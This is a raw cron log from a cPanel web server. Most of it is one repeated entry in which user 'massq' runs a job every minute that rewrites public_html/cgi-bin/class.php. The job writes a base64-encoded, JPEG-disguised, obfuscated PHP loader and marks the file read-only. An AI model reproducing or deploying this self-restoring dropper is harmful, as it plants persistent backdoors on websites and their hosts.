Nov 13 19:03:01 server CROND[14945]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:04:01 server CROND[15814]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:05:01 server CROND[16700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:05:01 server CROND[16701]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:05:01 server CROND[16705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:05:01 server CROND[16704]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 19:06:01 server CROND[17626]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:07:01 server CROND[18572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:08:01 server CROND[19427]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:09:01 server CROND[20286]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 19:09:01 server CROND[20287]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:10:01 server CROND[21154]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 19:10:01 server CROND[21155]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:10:01 server CROND[21156]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:10:01 server CROND[21157]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:11:01 server CROND[22051]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:12:01 server CROND[23011]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:12:01 server CROND[23012]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 19:13:01 server CROND[23866]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:14:01 server CROND[24737]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 19:15:01 server CROND[25271]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 19:15:01 server CROND[25273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 19:15:01 server CROND[25274]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
